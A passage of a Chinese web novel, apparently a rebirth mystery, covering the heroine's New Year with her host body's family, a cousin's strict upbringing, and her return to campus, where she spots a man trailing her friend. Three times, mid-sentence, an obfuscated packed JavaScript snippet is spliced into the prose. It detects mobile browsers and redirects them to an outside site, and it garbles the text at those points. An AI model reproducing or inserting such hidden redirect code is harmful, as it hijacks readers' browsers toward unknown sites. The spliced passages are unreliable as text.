她前世也看过这家店，便利店的工作比火锅店稍微轻松一些，但工资也低了些，所以她最后还是选了那家火锅店，没想到还能有再来一次的机会。 收银台的位置正好，微微侧过头便能看见斜对面的火锅店。 因为寒假周达必然会出现，闻夏也提高了警惕，每天来打工时都远远跟在姜晓霜身后，寻找着任何可疑的目标。 一天天靠近春节，街上的行人也越来越少，闻夏穿着厚厚的羽绒服，坐在收银台后吹着电暖气，望着街对面火锅店招牌，心里不由生出几分焦躁。 她记得周达是在过年后、开学前的那段时间来的火锅店。因为火锅店过年期间不营业，所以她对这个时间段的记忆还是比较深刻的，应该没有记错。 可周达迟迟没有出现，难道是她猜错了？周达的出现真的只是个巧合？ 霍成杰不是本地人，寒假已经回家了；徐雅也说这个假期会去南海岸城市的朋友家过冬。在寒假期间，周达和他们应该是没有什么交集的，闻夏暂时也不用去关注他们的情况，只需要专心看着姜晓霜这边就好。 可她内心再焦急，过年的那一天也终究还是来了。 既然已经答应了许文，闻夏还是收拾了行李，准备回卫城。 出发前，闻夏敲响了515宿舍的门。里面只有姜晓霜一人，很快便开了门，她刚洗漱完准备出门，今天是年前火锅店的最后一天营业，超市也排了两天休息，忙过今天，她便能好好放松两天了。 “我要走了，你真的不回去看看吗？过年期间他应该不会出现的。” 姜晓霜沉默片刻，摇头拒绝：“不了，我还是留在学校吧。” 闻夏明白她的心思，她拒绝的原因，大约和不想见陈佳的理由是一样的，便也没有多劝，只是朝她笑笑，提前道了声“新年快乐”。 “新年快乐。”姜晓霜也笑着回，给了面前的人一个温暖的拥抱。 姜晓霜没有去机场送她，闻夏在陈佳的企鹅消息轰炸中，坐上了回卫城的飞机。 * 当晚便是除夕，许文下午两点在机场接到女儿，将行李放回家，就带着人横跨半个市区，到了爷爷奶奶家。 说来也巧，姜尧和闻尧名字一样，还都有一个姐妹。姜晓霜的姑姑姜柳在她初一那年离了婚，之后就带着孩子跟父母住在一块儿。 正是寒假，许文不用上班，姜柳做些小生意，也早几日就歇了店，这会儿在家当主厨，许文也在旁帮忙。姜尧今天还得上白班，得晚点才能回来吃年夜饭，故而两人也都不着急，在厨房一边聊着天，一边准备晚上的大餐。 “晓霜儿，在大学还习惯吗？” 闻夏和表妹坐在客厅里陪两个老人看电视说话，快半年不见孙女，长辈们都关心起来。 闻夏乖巧回答：“挺好的，榆城比北方热闹。” “那是，榆城是大城市。”姜爷爷抚掌，微微坐直了身子，“我当年在榆城的时候，那儿就和现在的卫城一样发达，但是那会儿的卫城就是个乡下农村……” 一提起榆城，姜爷爷便来劲了。他年轻时曾去榆城打拼过几年，后来回了卫城，却也总是忘不掉那几年的光阴，时不时便会说上几句，就是闻夏都已经听过几次了。 填报高考志愿时，因为她的分数高，不管是姜家父母或是学校老师，都劝她去首都的学校。只有姜爷爷听说她想去榆城后举双手赞成。能说服姜家父母，也有姜爷爷出的力。 表妹陶灵刚上高一，艰苦的日子才刚开始，很是羡慕已经远离家乡去上大学的姐姐，歪着身子靠在沙发扶手上，看着坐在旁边的闻夏，双眼发亮地好奇问道：“姐，榆城好玩儿吗？我还没去过呢。” 姜柳端了一盘切好的蜜瓜从厨房出来，听见女儿的话，放下果盘，抬手在她脑门正中戳了一下，“一天就惦记着玩儿，你好好学，像你姐一样，考上榆城的学校，就能自己去看看了。” 陶灵撇嘴，刚想反驳，又怕姜柳翻旧账提起她的期末考成绩，最后只起身凑到闻夏旁边，说起了悄悄话。 闻夏挪了挪，给她让了些位置。两个纤瘦的小姑娘，倒也能挤在同一个单人沙发。 …… 晚上八点半，门铃响起，陶灵轻巧地从沙发上蹦起来，去给姜尧开了门。 姜柳端了菜放到餐桌上，看见进门的人，挑眉笑道：“哥，你倒是来得巧，刚做好菜。” “是吗？”姜尧应了声，将手里提着的袋子放下，低头换鞋。 许文端了一直热着的汤出来，放在餐桌正中，甩了甩有些被烫着的手，“好了，菜齐了，人也齐了，吃饭吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536693|186589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 闻夏扶着腿脚不便的奶奶坐到餐桌旁，自己也跟着在旁边坐下，和陶灵帮一桌子人倒了饮料，然后端起碗筷，开始享用年夜饭。 饭吃得晚，结束得便也晚，大人们总是有说不完的话，陶灵喝完杯子里的饮料，百无聊赖地又黏上旁边的堂姐，“要不我们出去溜达溜达吧？” “去哪？”闻夏下意识瞥了一眼窗户，但因为温差，什么也看不见，全被水雾遮挡住，只感觉外面黑蒙蒙一片。 “就出去走走嘛~” 坐在二人对面的姜尧听见了，掏了个打火机出来递给女儿，指着鞋柜边的塑料袋，说：“我买了些烟花，你们俩放烟花去吧。” 陶灵眼睛一亮，转头看姜柳，姜柳也点头：“去吧，把外套穿上。” 到门边换了鞋，陶灵主动提起烟花，跟着闻夏下楼，找了片空地，除了她们，还有不少大人孩子都在这，火光烟雾弥漫，伴随着时不时的升空与炸裂声。 买给两个女孩子玩儿的，都是些操作简单不容易受伤的烟花，陶灵一手一根仙女棒，掏出手机让闻夏帮她拍照录像。 手机像素不高，在这样昏暗的环境，效果更是不佳，但陶灵却觉得闻夏抓拍到的几张都很不错，就是这种朦朦胧胧、看不清人脸的才有感觉呢。 手上的仙女棒燃尽，她也不着急点燃新的，抱着手机挑了张最好看的，配上文字“新年快乐”，然后点击发布了动态。 等到一袋子各种烟花都放完，回去的路上陶灵抱着手机傻乐，“姐，我同学都说你拍的好看！好多人点赞呢。” 天上突然高高炸开烟花，四面八方，什么颜色都有，两人脚步一顿，陶灵看了眼手机上的时间，惊喜道：“0点了！姐，新年快乐！” 闻夏两手插兜，站在原地抬头看烟花，也回了一声：“新年快乐。” 手机忽地传来震动，闻夏拿出手机，是几条企鹅消息，有陈佳、姜晓霜，还有几个高中同学以及大学室友的群消息，都是新年祝福。 闻夏一个个回复，刚收起手机，又感受到一阵连续的震动。 她奇怪地又从衣服口袋里掏出手机，这次是一个陌生电话。 “闵湖？”闻夏望着来电显示犹豫着，没有立刻接通。 陶灵耳朵灵敏地捕捉到了关键词，她凑近瞥了一眼闻夏的手机，眼睛里蕴满好奇：“姐，你跟我说实话，你高中的时候突然跑去闵湖，是不是去见网恋对象？” 闻夏顿时有些哭笑不得地看向陶灵：“说什么呢。” 铃声依然在响，电话对面的人似乎很有耐心，闻夏还是按下了绿色的接听键：“你好？” “喂，是姜晓霜吗？我是夏晨。” 闻夏有些惊讶：“夏晨？” “对，是我。我从闻夏那里要到了你的号码，你不介意吧？” 闻夏避开陶灵没有说话却写满八卦的眼神，侧过头回道：“没关系，你找我有事吗？” 17. 手机 “没什么事，就是和你说声新年快乐。” 闻夏这还是第一次从电话里听见夏晨的声音，透过听筒传出的声音听起来不太一样，但依旧如他本人那样低沉。他的声音一直很好听，她记得学校某次活动，每个班都要出节目，他还在文艺委员的钢琴伴奏下上台演唱过歌曲。 多年前的回忆只在脑中一闪而逝，闻夏垂下眼，回道：“谢谢，也祝你新年快乐。” “闻夏说她不回闵湖过年，你呢？也没回家吗？” “我回卫城了。” “哦……”话题到这里似乎就可以结束了，但夏晨又接着问道，“你们之前打听的那个人，解决了吗？” 雷达似乎又被触发，闻夏呼吸微滞，反问：“你说周达？” “嗯，是这个人吧？” “还没有。”夏晨的语气听不出异常，闻夏微微皱起眉，“怎么了？” “也没什么，就是听你们找他，又是杀人又是案件的，感觉挺危险的。如果有我能帮上的地方，尽管开口。” 他的话语诚恳，似乎是真心想要为她们提供帮助，她记忆中的夏晨，也的确是个乐于助人的友爱同学。 夜里气温极低，寒凉的空气混杂着不知何处飘来的烟火味。 闻夏徐徐吐出口气，再次向他道谢：“谢谢你。” 挂了电话，和陶灵回到家，两位老人熬不了那么晚，已经回房休息了。剩下的三个大人将剩菜收拾了，洗了碗，餐桌不再像吃饭时那样拥挤地摆满了碗碟。 许文正站在餐桌边，看见她们，招呼道：“回来了？我们也要准备回家了，看看别落东西了，明天可来不了这边。” 姜柳提着个黑色垃圾袋从厨房出来，听见这话，问道：“嫂子，你们明天要回清原吗？” “是啊。”许文上去接过垃圾袋，“给我吧，我们一会儿带下去扔。” “行。”姜柳没拒绝。 许文将垃圾袋放到门边，扫了眼沙发上抱着手机的陶灵，压低了声音问：“灵灵呢？今年不去她爸那边过年？” 提起陶灵她爸，姜柳就忍不住翻了个白眼，还是顾忌着陶灵在，小声答道：“今年连个电话也没有，估计是不记得自己还有个闺女了，只惦记那个宝贝儿子。管他呢，反正灵灵跟着我过得多好，弄得跟谁稀罕他家似的。” 气愤地说完这一串，她又幽幽叹了口气，“就是我家灵灵不争气，这成绩总是提不上来。” 这话许文就不好接了，她家晓霜成绩好，说多了怕小姑子觉得她炫耀，斟酌着安慰道：“别担心，多看着点，兴许哪天就开窍了，晓霜以前不也一样，上了高中就跟换了个人一样，突然就好起来了。” 姜柳摇摇头，心里觉得还是不太一样，只应道：“希望吧……” * 大年初一一早，闻夏和姜家父母便坐上了去清原的火车。 许文家里就姐妹两个，她不常回清原，妹妹住得离父母不远，多少能看顾着些。初一这天正巧也是姜晓霜外婆的生日，所以许家的初一总是过得像除夕夜一般热闹。 当晚不方便赶车回家，她们一家人就留在外婆家住了一晚。 不过奇怪的是姜晓霜的小姨和姨父人虽然到了，但脸色却不大好看，而且和姜晓霜同年的表姐魏思云也没回家过年。 她这个表姐成绩很好，中考是清原市前三，高中是在卫城一中上的。闻夏还记得高一开学前，因为魏思云要在卫城上学，许晴便问了姐姐能不能让孩子住家里，许文觉得只是多副碗筷的事，和姜尧商量后便答应了。 小姨一家带着魏思云到了家里，几个大人围着那间小书房转悠了大半天，将魏思云的行李安置好，一会儿说那个电脑桌正合适用来写作业，就是电脑最好别放这屋……一会儿又说缺个衣柜，于是许文上前给妹妹和妹夫展示了她收拾出来的床下的两个大抽屉。 魏思云面无表情站在走廊里，对里面的吵嚷没有半点兴趣。闻夏侧头，对上她的目光，微微一怔。 这样的眼神，她太熟悉了。 就像看见了另一个自己。 闻夏抿唇，轻声喊她，“思云姐。” 魏思云扯了扯嘴角，往后靠在走廊的墙上，“你猜，那个电脑他们会搬到哪去？” “电脑？” “嗯，他们是绝对不会让电脑留在这个屋子的。” 书房内，许晴和姐姐笑着说话，眼睛却时不时地瞥向桌上的电脑，又转头看看站在屋外的两个女孩儿，拉过许文，到角落里小声道：“姐，那个电脑，你看有别的地放吗？” 许文有些犹豫，“我和你姐夫卧室也没个桌子，电脑平时也是晓霜用得多……那就只有放她屋里了。” “哎哟，可别，姐你听我的，还是让她少用些电脑。”许晴皱着眉，“……你知道我意思吧？她们这个年纪，还是得将心思放在学习上。” “我当然知道，我也一直没给她买手机呢……” 不过这电脑也确实没地方放，想了想，许文还是道，“不过我们家晓霜平时也挺乖的，电脑在家里，我们多看着点，应该没事。你不想让电脑放这屋，那就先搬晓霜那吧。” “行吧。”既然姐姐都不介意放晓霜那屋，那许晴自然也没什么可反对的了。 “姐，你以后也帮我看着点，除了学习需要，别让思云碰电脑。” 住在两个城市，姐妹俩相处的时间也少了许多，许文不知妹妹平时怎么管教孩子，此刻却也觉得她有些过分了，“你也没必要这么防着孩子吧？” “你是不知道……”许晴却只是摇头叹气，没有多说。 …… 许晴夫妇俩当天便回了清原，电脑最后也真的搬到了闻夏的屋子里。 这对闻夏并没有影响，许文从没拦过她进书房，顶多劝两句注意眼睛。她也就是偶尔看一看企鹅的消息，用完了便关掉，许文见她自觉，更是不会说什么。 魏思云话少，除了吃饭时间，很少出屋，倒真像许文说的那样，只是多了副碗筷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536694|186589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自从魏思云到了姜家，许文便请她给姜晓霜补课，魏思云没有拒绝。 闻夏并不需要补课，但她仍旧配合演出。魏思云找了些题给她做，闻夏也都认真写了，结果魏思云看了卷子，怪异地抬头看她，“你这不都会吗，大姨还让我补什么？” 闻夏微微弯着唇，没说话。 虽然不明白，但既然答应了大姨，一天魏思云还是每天饭后去姜晓霜的房间，说是补课，但其实就是两人坐一块各自写作业，空闲时还能聊两句。 许文还特地悄悄嘱咐女儿，说小姨不让思云玩电脑，让她也帮着注意点。 但魏思云一次也没提起过要用电脑，闻夏甚至觉得她都没朝电脑屏幕那看过一眼。就连电话也是许晴打给许文，再叫魏思云去接。 这家人对于不给孩子用手机这件事，似乎有种莫名的执着。 这天作业写到一半，刚接完电话回来的魏思云明显不太高兴，冷着个脸。二人每天在一块儿相处，也熟悉了些，闻夏犹豫一下，还是问道：“思云姐，你爸妈为什么不给你买个手机？你来卫城上学，这样不是很不方便？” “你不是也没有。”魏思云挑眉看她，不知想到什么，她似笑非笑道，“我以前是有手机的。” “可能她们是怕你变得和我一样吧。” 闻夏没有回答，她直觉这句话背后不是一个愉快的故事，她并不想触碰对方的伤口。 魏思云也没再说话，静静望了一会儿窗外高悬的圆月，继续埋头写作业。 她只在姜家住了一个月，后来说住校方便些，便又搬走了。许文不好做这个决定，只好告诉妹妹，许晴自然也觉得家里吃住都更好，但拗不过孩子，只好由她去了。 魏思云不过比姜晓霜大了两个月，是同一届的高考生，最后的高考分数也和闻夏差不多。一下出了两个高分，两家人都深觉扬眉吐气，那段时间走在路上都仿佛带着风。 什么样的环境才会让人一有机会逃离就不再回头呢？ 闻夏很清楚这个答案，不过她还是有些小小的疑问。 隔壁的卫生间传来水声，是许文正在洗漱。今晚姜尧喝了不少，早早就倒在床上睡得人事不省，许文嫌他浑身酒气，便来和女儿睡一屋。 已经快要12点，闻夏拿出手机打字：睡了吗？ 等了两分钟，姜晓霜才回复：还没，怎么了？ 闻夏：你爸妈以前为什么一直不给你用手机？是和魏思云有关吗？ 姜晓霜：啊，是的。我也就听说了一点，好像是她初中的时候谈恋爱，被我小姨发现了，收了她的手机，所以我妈也一直不给我买手机。 姜晓霜：我也一直没想起来问你呢，我妈怎么突然大发善心在高中就给你买手机了[疑问][疑问] 闻夏：我之前不是偷偷去了一趟闵湖想找你吗，一回来他们就给买了。 姜晓霜：[冷汗]原来要做到离家出走的程度才行吗……如果是我，那大概高中三年是别想见到手机了吧。 18. 身影 姜晓霜：不过怎么突然问这个？是思云姐怎么了吗？ 姜晓霜：对了，她考了哪里的大学？ 闻夏：她在首都，没回来过年，我看你小姨她们不是很高兴，所以问问。 姜晓霜：哦哦。 姜晓霜：她家确实管得挺严的……我都不爱去她家，还好本来也不常去。 房间门被打开，许文进来，看见女儿还抱着手机，问道：“这么晚了，还玩儿手机呢，快睡了。” 闻夏想了想，将手机放下，问：“妈，我们明天回家吗？后天我打算先回学校了。” “大过年的，你就在家待三天啊？你急着去学校干什么？不是寒假吗？”抛出这一堆问题，许文换好了睡衣，插腰站在床边，探究的眼神望向她，“谈恋爱了？” “不是。有个关系挺好的室友没回家过年，就剩她一个人在学校，想早点回去陪她。” “哟，光惦记朋友了，那你咋不想着陪陪你爸妈呢。”许文的语调里带上了两分阴阳怪气，在床边坐下，又问，“她怎么不回家过年呢？” “她……家里没什么人了。” 许文噎了一下：“行吧，那你明天记得跟你爸也说一声。还买得到票吗？” 许文答应了这事就算成了，闻夏又拿起手机：“我现在先买。” 给姜晓霜发了消息说自己后天就回去，闻夏接着打开了购票软件，后天下午的航班还有最后几张票，她连忙填了信息付款。 “买好了，后天下午2点走。” 许文看了眼时间，“行，都十二点了，赶紧睡吧。” “嗯，马上。”闻夏看见弹出来的新消息，点开查看。 姜晓霜：啊？这么快就回学校吗，怎么不在家多待几天？ 闻夏：回去陪你过年。 闻夏：先睡了，晚安。后天见。 姜晓霜删掉那些欲言又止的话，也回复一句晚安。 * 闻夏进了安检口，朝目送她的姜家父母摆了摆手。 近几年经济上行，出省旅行的人渐渐多了起来。恰逢寒假与春节，抓住这个时机出门游玩的人不少，机场候机厅里一家老小的配置比比皆是。 闻夏在登机口旁找到空位坐下，给姜晓霜发消息：我到机场了。 姜晓霜回得很快：要不要我去接机[可爱][可爱] 闻夏脸上不由挂上个笑，打字输入：好啊。 姜晓霜：收到！我这就从床上爬起来！ 闻夏：你可以先看看我们晚上吃什么。 姜晓霜：嗯嗯！ 接近三小时的飞机，落地时已经下午五点。闻夏就一个背包，不用等行李，直接到了出口。 姜晓霜先看见她，用力向她招手：“这里！” 闻夏走过去，姜晓霜看看她的背包：“要先回学校放一下包吗？还是直接去吃饭？” “不用，没什么东西，不重。直接去吧。” “好，那走吧，我们坐公交过去。” 闻夏跟上她，出了航站楼，冷风便扑面而来，二人连忙将外套的帽子拉上。 “这两天没什么事吧？” 闻夏的说话声被帽子挡去大半，听起来雾蒙蒙的。 姜晓霜知道她在问什么，因为闻夏不在，她昨晚出门前还特别把周达的照片找出来，看了许多遍，生怕自己见到了人也认不出来。紧张到昨晚睡觉梦里都是周达—— 周达的脸长在了一只大怪兽身上，而她自己变成了奥特曼，抬起手发射光波，将怪兽周达打得落花流水，爬都爬不起来。 今早醒来，她还为这个诡异的梦发了好一会儿呆。 姜晓霜摇摇头，回答：“能有什么事，除了昨晚上去超市，我都没出过学校。那谁也没出现。” 闻夏闻言稍稍放下心。这个春节，可以算是她们最后的放松时刻了。 二人饱餐一顿，回到宿舍，站在五楼的楼梯口，姜晓霜朝闻夏摆手道别：“其实我没关系的，不过还是谢谢你回来陪我。” 闻夏没接话，她习惯了自己一个人，但她怎么能心安理得的占着姜晓霜的位置，替她享受同家人相聚的时刻呢？ 她取下背包，从里面拿出一本书递给姜晓霜。 “这是……”姜晓霜愣愣接过，看见上面熟悉的名字和封面，反应过来，惊喜地抬头向闻夏确认道，“是我的书吗？” 见闻夏点头，姜晓霜迫不及待地翻开内页。她不爱在书上写字，但她喜欢在重看悬疑小说时，用铅笔将一些作者悄悄藏下的伏笔划出来。这些小小的细节就像是作者给乖孩子的奖励，是只有第二遍阅读的时候才能发现的宝藏。 她的手指轻轻拂过已经有些晕开的铅笔痕迹，在寒冷的冬夜却暖到了心里去，“谢谢，这是我最喜欢的一本书。” 这本书也是闻夏在姜晓霜房间里的书架旁斟酌了许久才挑出来的。一本国外的悬疑推理小说，放在触手可及的位置，书页因为有了些年头已经开始泛黄，还有多次翻看的痕迹。 闻夏弯着唇，轻声道：“我觉得你看见这个会高兴，就给你带来了。” 姜晓霜将书抱在怀里，重重点头：“我是真的很高兴。” “这样我也高兴了。”闻夏将背包合上，单肩挂在肩上，走向自己的宿舍，“快回去吧，早点睡。” “好，晚安。”姜晓霜走向走廊另一侧，没走两步，又停下回头望向身后。 闻夏已经到了房间门口，从包里翻出钥匙开门，临进门前，转头看见止步不前的姜晓霜，朝她挥挥手进了屋。 姜晓霜莞尔一笑，也回到了自己的宿舍。 * 假期总是感觉比工作日快了一倍。春节假期结束，二人也都回到了各自的打工生活。 春节后的第一个周五，街道逐渐恢复了平日的热闹。这天晚上姜晓霜休息，结束了火锅店的工作，晚饭也没吃就回了学校，闻夏慢悠悠跟在后面，被一个红灯拦在了学校对面的街上。 她远远望着已经走到校门口的姜晓霜，目光忽地被一个戴着鸭舌帽的身影吸引去。校门外立着半道墙，上面是“榆城大学”四个字，那人站在大大的“榆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542076|186589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”字旁，正望着行人入口——也就是姜晓霜的方向。 冬天天黑得早，这会儿天色已经暗了，路灯打下的灯光影影绰绰，瞧不清对方的模样，可就是这样模糊的身影，却不知怎么就与她死前在玻璃窗里瞥见的人重合在了一起。 那人也是这样戴着个深色鸭舌帽。 闻夏的心一下就提了起来。 红灯倒数最后几秒，三、二、一—— 闻夏深吸口气，目光盯着那人不放，在灯变绿的瞬间飞速奔跑穿过马路。 他的身影已经消失在学校大门后，闻夏站在门外，心脏砰砰直跳，强硬地安抚自己冷静下来。她不能着急，现在还什么都不会发生，她只需要盯紧那个人，不让他发现就好。 感受到逐渐平缓的呼吸，闻夏快步走进学校。 榆大校园是对外开放的，并不限制进入人员的身份。前世也是这样，直到本校学生突然发生了两起命案，学校才加强了校园的安保工作，严查入校人员的身份。 此刻的榆大仍旧平和，闻夏穿过校门，看见男人双手插兜，姿态闲适，正不远不近地跟在姜晓霜身后，黑色鸭舌帽掩去了他的大半面容，乍一看就是个普通的榆大学生。 仿佛螳螂捕蝉一般，三人各怀心思走向同一方向。 直到姜晓霜进了宿舍楼，男人才顿住脚步，站在原地缓缓抬头，一扇接一扇紧挨着的窗户落入眼中，似乎在等待哪一扇会亮起。 身后的闻夏也跟着停下，看着这一幕，双手握紧了拳，可她现在什么也不能做。对方可能随时会离开，闻夏环视一圈，小跑着穿过中间的车道，到了对面的人行道上。 男人转过身，侧头瞥了一眼横跨马路的女学生，又继续顺着来时的路离开。 余光注意着对方的动作，见他没有留意自己，闻夏这才松了口气，望着他的身影消失在路的尽头，才转身回了宿舍。 …… 刚坐下没一会儿，宿舍门便被敲响，姜晓霜奇怪地上前开门，见是闻夏，便让她进了门。 其他三个室友都回了家，她们聚在一块儿说话也不用顾忌什么，闻夏合上门，脸上表情看不出喜怒，只道：“我刚才看见他了。” 姜晓霜先是一怔，随后震惊道：“周达？” 闻夏垂眼，回想着刚才的每一幕，缓缓摇头，“没看清，我不确定是不是周达，但应该就是凶手。” “你在哪见到他的？” 闻夏抿了抿唇，“他从校门口一直跟着你到宿舍楼下。” 也是男人的异常举动，才能让她确定，他就是那个凶手。 今晚不用工作，姜晓霜本来心情不错，一路上甚至还哼着歌，得知凶手跟了她一路，姜晓霜浑身都起了鸡皮疙瘩。 “那……他是不是明天就会来见我了？” 闻夏想了想，又摇头：“我记得应该没有这么快。”她拿出手机查看日历，“还有两周开学，应该就在这两周内。” 姜晓霜有些紧张地咬着唇，“好，如果他来见我，我需要干什么吗？像你见到他的时候那样回答他？”